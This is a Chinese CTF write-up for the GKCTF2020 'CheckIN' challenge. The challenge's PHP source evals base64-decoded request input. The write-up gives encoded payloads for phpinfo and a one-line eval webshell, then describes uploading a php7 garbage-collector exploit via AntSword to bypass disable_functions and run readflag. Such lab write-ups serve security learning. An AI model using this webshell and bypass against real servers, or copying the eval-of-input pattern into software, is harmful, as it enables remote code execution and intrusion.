[GKCTF2020]CheckIN

沫憶末憶發表於2020-09-25

開啟題目,直接得到原始碼

<title>Check_In</title>
<?php 
highlight_file(__FILE__);
class ClassName
{
        public $code = null;
        public $decode = null;
        function __construct()
        {
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }

        public function x()
        {
                return $_REQUEST;
        }
}
new ClassName();

原始碼較為簡單,總結一下就是
eval(base64_decode($_REQUEST['Ginkgo']))
存在程式碼執行漏洞,卻發現很多函式被ban了,可能是開啟了disable_function,這裡先嚐試是否能執行phpinfo()
phpinfo(); base64加密之後cGhwaW5mbygpOw==
/?Ginkgo=cGhwaW5mbygpOw==
執行成功,檢視一下disable_function中被ban的函式
在這裡插入圖片描述
所以,這裡需要繞過disable_function,先傳一句話木馬連線上shell
一句話木馬eval($_POST[‘A’]); 加密之後得ZXZhbCgkX1BPU1RbJ0EnXSk7
/?Ginkgo=ZXZhbCgkX1BPU1RbJ0EnXSk7
在這裡插入圖片描述
在根目錄檔案下發現flag檔案和readflag檔案,猜測執行readflag就能讀取到flag,但是許可權等問題無法讀取和執行
這裡就需要使用繞過disable_function的技巧,通過phpinfo得知,該php的版本為7.3,在該版本下,php7-gc-bypass漏洞利用PHP garbage collector程式中的堆溢位觸發進而執行命令
影響範圍是linux,php7.0-7.3,給出了exp
下載後進行修改,改為執行readflag
在這裡插入圖片描述
然後通過蟻劍進行上傳這裡發現tmp目錄許可權是1777,於是決定上傳到這個目錄
在這裡插入圖片描述上傳成功
在這裡插入圖片描述
通過之前的一句話來執行檔案包含,得到flag
在這裡插入圖片描述
在這裡插入圖片描述